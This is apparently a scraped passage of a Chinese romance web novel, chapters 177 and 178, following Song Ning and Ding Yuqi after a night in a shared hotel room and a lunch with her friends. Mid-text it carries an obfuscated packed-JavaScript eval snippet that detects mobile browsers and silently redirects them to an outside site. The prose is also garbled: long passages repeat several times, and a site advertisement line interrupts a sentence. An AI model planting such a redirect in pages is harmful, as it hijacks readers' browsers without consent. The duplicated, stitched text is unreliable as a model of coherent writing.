他用颇为欠揍的语气说着近似于表白的话,让宋凝不知所措的翻了个身,试图把这一页给揭过去,毕竟她怎么猜得到他压根没睡着?! 这可真是让她肠子都悔青了。 丁予期看着近在咫尺的背影,感到好笑似的扯了下唇角,然后伸出手臂将她拥进了怀里,这是个带着热度的拥抱。 深呼吸一口,硬把得意的表情忍了回去。 “你就一点都不担心自己的安全?” 宋凝迟疑了一下:“你虽然嘴毒了一点,人品还不错。” “就这么信任我?”丁予期故意轻佻地调侃她:“小姑娘,这么轻信其他人可是很危险的哦。” 宋凝直接说:“我不是信任你,我是信任党。” 丁予期:? “你不是说,小时候你几乎是在你外公的军营里长大的么?长期在根正苗红的环境下浸染着,我相信党的领导。” 丁予期实在没忍住,摇头失笑:“你这个理由还真是……” 让人猝不及防。 酒店安装的遮光帘质量极佳,将外面的光线严丝合缝的给挡了住,哪怕是已经适应了黑暗的人站在这里,也照样会产生伸手不见五指的念头。 丁予期泛红的耳根和面颊因此遮掩在了黑暗中,他暗自感到庆幸的同时忘了这间卧室的布置跟他先前住的那间不同,在起身收拾被子和枕头时结结实实的撞在了床尾凳上。 砰! 有东西被撞翻在了地上。 宋凝侧身往地下看去,见床头凳已经翻在了丁予期身前,而他则是跟被定住似的停止了动作,关切发问道:“你还好么?” “我没事。”丁予期险些被绊倒,脚踝更是被凳子边缘狠砸了一下,但他为了不在她面前露怯,仍是一声没吭,维持着没事人的模样躺在了她给他留出的半边床铺上。 两人十分默契的选择了背对背的睡姿。 卧室里变得比先前更安静了,就连彼此的呼吸声都能被听的清清楚楚。 宋凝以为自己放下了这桩心事,就能够心安理得的睡过去了,然而她听着从背后传来的渐渐变得清浅的呼吸声,却是再次失眠了。 该不会是被这家伙的乌鸦嘴说中,真的睡不着了吧? 宋凝越想越睡不着,索性悄悄起身下床将遮光帘拉开一角,然后借着月色观察起了床上的丁予期,见他睫毛随着呼吸的频率不住轻颤,鬼使神差的就伸出手去比量了一下。 真是奇怪,平时也没觉得他的睫毛又长又直,怎么凑近了一看会如此让人无法忽视? 丁予期皮肤底子好,面部轮廓也立体,哪怕宋凝用最苛刻的审美标准来看待他的长相,也照样得承认他的骨相和皮相都足够优越,但此时这张脸却是在月光的映照下显出了白日里被藏住疲态。 他果然已经很累了。 宋凝心里登时不是滋味起来,她无声的在心底叹了口气,想回到自己原本的位置上尝试继续入睡,可就在她想要翻身回去的时候,丁予期忽然毫无征兆的出了声:“好看么?” 这话让她当场打了个激灵,是万万没想到他竟然没睡着。 宋凝想要趁着丁予期睁开之前的间隙装成什么都没做的模样,但这已经来不及了,还不等她做出反应,他已经睁开那双深邃的眼睛,幽幽的再次开口了。 “我到底是男人,就算一颗红心向正道,但你好歹尊重一下我的性别。” 他用颇为欠揍的语气说着近似于表白的话,让宋凝不知所措的翻了个身,试图把这一页给揭过去,毕竟她怎么猜得到他压根没睡着?! 这可真是让她肠子都悔青了。 丁予期看着近在咫尺的背影,感到好笑似的扯了下唇角,然后伸出手臂将她拥进了怀里,这是个带着热度的拥抱。 深呼吸一口,硬把得意的表情忍了回去。 “你就一点都不担心自己的安全?” 宋凝迟疑了一下:“你虽然嘴毒了一点,人品还不错。” “就这么信任我?”丁予期故意轻佻地调侃她:“小姑娘,这么轻信其他人可是很危险的哦。” 宋凝直接说:“我不是信任你,我是信任党。” 丁予期:? “你不是说,小时候你几乎是在你外公的军营里长大的么?长期在根正苗红的环境下浸染着,我相信党的领导。” 丁予期实在没忍住,摇头失笑:“你这个理由还真是……” 让人猝不及防。 酒店安装的遮光帘质量极佳,将外面的光线严丝合缝的给挡了住,哪怕是已经适应了黑暗的人站在这里,也照样会产生伸手不见五指的念头。 丁予期泛红的耳根和面颊因此遮掩在了黑暗中,他暗自感到庆幸的同时忘了这间卧室的布置跟他先前住的那间不同,在起身收拾被子和枕头时结结实实的撞在了床尾凳上。 砰! 有东西被撞翻在了地上。 宋凝侧身往地下看去,见床头凳已经翻在了丁予期身前,而他则是跟被定住似的停止了动作,关切发问道:“你还好么?” “我没事。”丁予期险些被绊倒,脚踝更是被凳子边缘狠砸了一下,但他为了不在她面前露怯,仍是一声没吭,维持着没事人的模样躺在了她给他留出的半边床铺上。 两人十分默契的选择了背对背的睡姿。 卧室里变得比先前更安静了,就连彼此的呼吸声都能被听的清清楚楚。 宋凝以为自己放下了这桩心事,就能够心安理得的睡过去了,然而她听着从背后传来的渐渐变得清浅的呼吸声,却是再次失眠了。 该不会是被这家伙的乌鸦嘴说中,真的睡不着了吧? 宋凝越想越睡不着,索性悄悄起身下床将遮光帘拉开一角,然后借着月色观察起了床上的丁予期,见他睫毛随着呼吸的频率不住轻颤,鬼使神差的就伸出手去比量了一下。 真是奇怪,平时也没觉得他的睫毛又长又直,怎么凑近了一看会如此让人无法忽视? 丁予期皮肤底子好,面部轮廓也立体,哪怕宋凝用最苛刻的审美标准来看待他的长相,也照样得承认他的骨相和皮相都足够优越,但此时这张脸却是在月光的映照下显出了白日里被藏住疲态。 他果然已经很累了。 宋凝心里登时不是滋味起来,她无声的在心底叹了口气,想回到自己原本的位置上尝试继续入睡,可就在她想要翻身回去的时候,丁予期忽然毫无征兆的出了声:“好看么?” 这话让她当场打了个激灵,是万万没想到他竟然没睡着。 宋凝想要趁着丁予期睁开之前的间隙装成什么都没做的模样,但这已经来不及了,还不等她做出反应,他已经睁开那双深邃的眼睛,幽幽的再次开口了。 “我到底是男人,就算一颗红心向正道,但你好歹尊重一下我的性别。” 他用颇为欠揍的语气说着近似于表白的话,让宋凝不知所措的翻了个身,试图把这一页给揭过去,毕竟她怎么猜得到他压根没睡着?! 这可真是让她肠子都悔青了。 丁予期看着近在咫尺的背影,感到好笑似的扯了下唇角,然后伸出手臂将她拥进了怀里,这是个带着热度的拥抱。 第一百七十七章 喜欢就是喜欢 宋凝原本就觉得耳根发烫这时更是整个人都僵在了当场是不知道该作何反应才合适。 幸好丁予期很快开口:“宋凝说出来你或许不会信可我幻想今晚这样的场景已经想了十五年了这感觉不真实的就像是做梦一样等到我醒过来的时候马上就会被无边无际的失落感包围。” 他在她看不到的地方再次闭上了眼睛是生怕眼前的一切就只是个梦 得而复失的痛苦是无法用语言去形容的。 宋凝以为她能够靠装睡把这事给糊弄过去但人非草木她听着丁予期的剖白按捺不住的问:“你……究竟为什么会喜欢我?” 她其实是相信他的真诚的可这跟把他当成一个能够谈婚论嫁的异性考虑是两码事。 丁予期的手臂虚环在她腰间嗓音轻颤道:“喜欢这种事本来就是没道理的所以没有为什么就好像你就是你喜欢就是喜欢。” 末尾一句话被他说的语无伦次。 宋凝隐约猜到了他想表达的意思奈何实在是不确定他是真的这样想还是暂时被激情冲昏了头脑轻声道:“你……” 话刚说了个开头落在她腰间的手臂就加重力道落了下去是他真的睡着了。 宋凝诧异的唤了一声:“丁予期?” 回应她的是近在咫尺的呼吸声想必是因为最近过得实在太累的缘故他才刚把心里话说完就毫无顾忌的睡了过去并且睡的很熟看样子是不会被寻常动静吵醒了。 算了反正来日方长有些话以后再问也不迟。 宋凝挪不开丁予期的手臂索性侧身往后靠过去以一个舒服的姿势窝进了他怀里然后也睡了过去。 两人相拥而眠直到翌日早上门铃被按响才打破房间里的寂静。 叮铃—— 宋凝睡得迷迷糊糊连眼皮都不想多抬一下下意识的呢喃道:“有人来了开个门。” 睡在她身侧的丁予期压根还没醒除了在睡梦中轻皱眉头外没能做出任何反应看样子是除非天塌下来否则都不会被吵醒了。 宋凝听到门铃还在响以为是瑞贝卡有紧急工作来回汇报只好用力揉了把脸然后轻手轻脚的起身下床去开门是想着既然丁予期没醒不如就让他继续睡好了多睡一会儿也好。 可门开了出现在她面前的却是一张戴着墨镜和口罩全副武装着的脸。 宋凝刚睡醒没几分钟整个人的 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 意识都还有些迷茫,下一秒却见到这人自行摘去墨镜和口罩,扑过来给了她一个结结实实的拥抱:“surprise!想我了没有?” 这人正是昨晚连夜赶回来的唐婷。 宋凝眼前一亮:“我以为你聚餐结束就回剧组了,怎么又回来了?” “还不是因为不放心你。”唐婷把墨镜拿在手里,叹了口气说,“我怎么想都觉得被**是件大事,但昨晚回来的实在太晚,来不及细问,所以就今天请了假再来问,快让我好好看看你。” 她行动力极强的绕着宋凝转了一圈,一边转还一边仔细打量对方,是生怕宋凝受了伤害,却又因为不想让身边人担心而刻意隐瞒。 宋凝哭笑不得的劝阻道:“你放心,我真的没事,这不是完完整整的出来了么?真要说受了什么伤害的话,大概就是一点惊吓,倒是你千万小点声,不然——” 她想说唐婷好歹也是个公众人物,嗓门扯的这么大,若是被其他人看见就麻烦了,可话才刚说到一半,就被慢悠悠走出来的丁予期打断道:“唐小姐,早上好。” 唐婷及时抬手捂住嘴,这才把即将出口的惊呼给咽了回去,可脸上的惊讶是藏不住的。 丁予期见状倒是还跟没事人一样,打完招呼就去浴室洗漱了,仿佛这里不是酒店,而是自家客厅,他只是在早上偶然间遇到了来家中探望的妻子的闺蜜一样。 宋凝缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217656|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓抬手抚上额头,语气艰难的对唐婷说:“你先进来吧。” 唐婷快步闪进门内,一把抓住她的手臂,用难以置信的语气问;“你们的进展也太快了吧?我以为你们应该会再发展一段时间再有实质性进展,没想到成年人的恋爱就是这么简单直接!” “其实这是个误会,我跟他之所以会住在一起……” 宋凝想说是因为德牧尿床,毁了丁予期房间里的床,所以他们才不得不睡在一起,但直到快开口才意识到这个借口到底多扯。 “算了,我跟他的事以后再说吧。”她叹了口气,选择拉着唐婷坐下聊聊对方的近况。 唐婷个性开朗,见她感兴趣,事无巨细的什么都说,而正当两人聊的欢畅之时,丁予期则是洗漱完毕也换好衣服,不慌不忙的从浴室里出来了,只见他眼圈发青,瞧着竟像是昨晚没睡好。 宋凝记得他入睡比她还略早些时候,见他这副模样不禁担心起他是否能胜任今天的工作,可唐婷却是两眼放光的会错了意,悄悄扯住宋凝的衣袖问:“你们昨晚到底多激烈啊?” “啊?”宋凝没能立刻反应过来。 唐婷狡黠的眨了下眼睛,用一副“大家都懂”的表情继续说:“我看他身材不错,个子也高,身体应该挺健康的才对,怎么这么快就被榨干了?没看出来啊,这男人不行,太虚了,咱要不再考虑考虑?” 这何止是误会,简直是完全想错了啊! 宋凝生怕丁予期听到会多想,连忙红着脸去捂唐婷的嘴:“姑奶奶,你快少说两句吧。” 唐婷早有准备的避开她的手,歪着脖子继续调侃。 “别不好意思啊,大家都是成年人了,有需求是很正常的事,万一他真的不行,你得及时止损,另外找个年下小狼狗,刚好我认识不少剧组里的小鲜肉,一个个的威猛……” 丁予期恰在此时从厨房里走出来,没事人一样问:“唐小姐,你想喝点什么吗?” 第一百七十八章 慢慢考察 唐婷急着给宋凝介绍备选,随口答道:“啊?那个……咖啡就行。” 丁予期成功岔开了她们的话题,也不在这里久留,而是真的进到厨房里煮咖啡去了,很快就有香气蔓延的满屋都是。 唐婷脸上的笑容更加意味深长了,她冲着宋凝挤眉弄眼,压低声音道:“没想到他占有欲还挺强。” 这话说的让宋凝没法接,等丁予期端着两杯咖啡出来,马上把其中一杯推过去说:“你快多喝点咖啡,少说话吧。” 丁予期神态自然的在旁边坐下,也接茬道:“唐小姐,喝了我的咖啡可就不能再给宋凝胡乱介绍男人了,男同也不行。” 唐婷噘嘴:“你家咖啡这么金贵啊?还得搭上我好姐妹的一生?” 丁予期轻笑:“那行,你们慢慢考察。” 唐婷做出个咋舌的表情,品了口咖啡道:“嗯,味道确实不错,比我在剧组里喝的可好多了,现在想想那时候日夜颠倒,真是全靠咖啡续命。” 宋凝知道她辛苦,关切道:“那你这次请假回来,之后岂不是要加班加点的补回去?” “这倒不用,谁让我已经提前把大夜给熬完了呢,现在就等着收收尾,然后做好准备工作,收拾一下进下一个组了。” 唐婷见这里没有外人,主动跟他们分享起了接下来可能有的安排。 “珊珊最近在帮我接触一部大制作的军旅题材电影,成功的话我就要体会一下演狙击手是什么滋味了,但我没什么经验,等休假回去就得马上开始恶补相关知识了。” 她说到末尾叹了口气,显然是心里压根就没底。 宋凝只关心一个问题:“那你想演么?” 唐婷眸底立刻放出光彩:“当然想!这部戏的编剧和导演都是票房保证,圈里多的是人想演,对我来说这是个千载难逢的好机会,如果可以的话,我会尽力去试一试!” 宋凝见她愿意演,自然是鼓励她去争取:“我帮不上你什么忙,但有需要的话随时开口。” 照片的事暂时被瞒住了。 丁予期一直在旁边默默听着她们聊剧组里发生的事,这时却毫无征兆的接了句话:“演狙击手的话,懂些**和基础的射击知识会更有用些吧?” 唐婷不知道他为什么会这么问,但还是实话实说:“当然,我打算回去观摩前辈的作品。” “不必这么麻烦,如果你感兴趣的话,我可以安排你去部队里亲身体验一下开枪的感受,或者另外找几个师父教你打枪也可以,只要你有时间。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” “我看他们是势均力敌,这个资源咖是靠金主上位的,之前压根没演过戏,现在一来就要改剧本加戏份,要不是我的戏份都快拍完了,早就不忍气吞声了……” 闺蜜三人聊的投入,一边叽叽喳喳的说话,一边分享着彼此喜欢的事物,脸上都是笑容。 丁予期虽然就坐在旁边,可是很有眼力见的没参与进去,他就只是沉默着给宋凝剥虾。 北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” “我看他们是势均力敌,这个资源咖是靠金主上位的,之前压根没演过戏,现在一来就要改剧本加戏份,要不是我的戏份都快拍完了,早就不忍气吞声了……” 闺蜜三人聊的投入,一边叽叽喳喳的说话,一边分享着彼此喜欢的事物,脸上都是笑容。 丁予期虽然就坐在旁边,可是很有眼力见的没参与进去,他就只是沉默着给宋凝剥虾。 北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” “我看他们是势均力敌,这个资源咖是靠金主上位的,之前压根没演过戏,现在一来就要改剧本加戏份,要不是我的戏份都快拍完了,早就不忍气吞声了……” 闺蜜三人聊的投入,一边叽叽喳喳的说话,一边分享着彼此喜欢的事物,脸上都是笑容。 丁予期虽然就坐在旁边,可是很有眼力见的没参与进去,他就只是沉默着给宋凝剥虾。 北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” “我看他们是势均力敌,这个资源咖是靠金主上位的,之前压根没演过戏,现在一来就要改剧本加戏份,要不是我的戏份都快拍完了,早就不忍气吞声了……” 闺蜜三人聊的投入,一边叽叽喳喳的说话,一边分享着彼此喜欢的事物,脸上都是笑容。 丁予期虽然就坐在旁边,可是很有眼力见的没参与进去,他就只是沉默着给宋凝剥虾。 北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” 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北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 丁予期手上动作还是没停,笑微微的说:“那你得问宋凝才行。” 丁予期用云淡风轻的语气说。 若是别人说这话,唐婷必然会怀疑对方是在吹牛,但说话的人是丁予期就不一样了,她知道他是真有能力做到这件事,连连点头道:“我随时都有时间,我们什么时候可以去?” 丁予期清了清嗓子。 唐婷心领神会,立刻保证道:“你放心,别说是男人了,我以后连公蚊子都不给阿凝介绍,你这下能放心了吧?” 丁予期不仅是放心了,答应的也很痛快,立刻就打电话去帮忙安排了。 只是军营毕竟不是别的地方,想进去还是得花些时间走手续,等审批才行,短则三五天,长则十天半个月。 幸好此时距离唐婷试戏还有很长一段时间,这件事是真的不急。 当天中午,昨晚熬夜修照片的祝如星也来了, 她睡了个懒觉,不知道上午都发生过什么,精神头瞧着都更饱满,等到了中午一起聚餐时,话匣子都开的比其他人更快。 “我这次一定要好好放个假,你们是不知道,我之前遇到多难搞的一对新人,让我差点绝望到远离这一行,幸好昨天遇到的这对新人特别好,不然婚庆行业恐怕要失去冉冉升起的新星。” 唐婷好奇的问:“能有多难搞?我先积攒一下经验,说不定以后在都市剧里演奇葩的时候能用上。” 祝如星滔滔不绝的讲了很多,说到动情处还给她们展示起了自己拍的照片:“你们看,这能怪我么?新郎本来就长得跟河童一样,就算我再努力做后期,也不可能把八戒给变成天蓬元帅!” 这个形容引得宋凝和唐婷都忍不住发笑,后者更是接过话茬,吐槽起了她在剧组里的类似遭遇:“唉,这样的人到处都是,我们剧组前阵子空降的资源咖也是个奇葩。” “能有我遇到的这对新人奇葩?” “我看他们是势均力敌,这个资源咖是靠金主上位的,之前压根没演过戏,现在一来就要改剧本加戏份,要不是我的戏份都快拍完了,早就不忍气吞声了……” 闺蜜三人聊的投入,一边叽叽喳喳的说话,一边分享着彼此喜欢的事物,脸上都是笑容。 丁予期虽然就坐在旁边,可是很有眼力见的没参与进去,他就只是沉默着给宋凝剥虾。 北极甜虾个头小,壳没有那么好剥,是件既费力气,又会把指甲弄脏的细致活儿,可他自从发现宋凝爱吃,便默默练出了一门剥虾的好手艺。 宋凝面前的餐盘里很快就堆起了一小堆剥好的虾仁,她说几句就吃一个,等意识到她吃的比先前剥的还多时,已经快把他给她剥的虾都吃完了,不禁略有心虚的看了过去。 “你看我做什么?”丁予期感到好笑似的说了句,同时手底下的动作压根就没停,温声对她解释道,“这些本来就是给你剥的,医生说过,回来后要多补充营养才行,虾是高蛋白。” 唐婷和祝如星见他对宋凝如此关切,当即交换起了八卦的目光,是都觉得他们的感情比预想中还要来得更好。 宋凝**的嘴软,总不能这就否认丁予期的名分,只能是装作看不见了。 几个人聊的高兴,很快就讲到了唐婷为了演好狙击手要去军营实地观摩的事。 这让祝如星立马也来了兴致,连忙问丁予期:“丁总啊,我能不能一起去?其实我是个军迷来着,就想亲眼看看。” 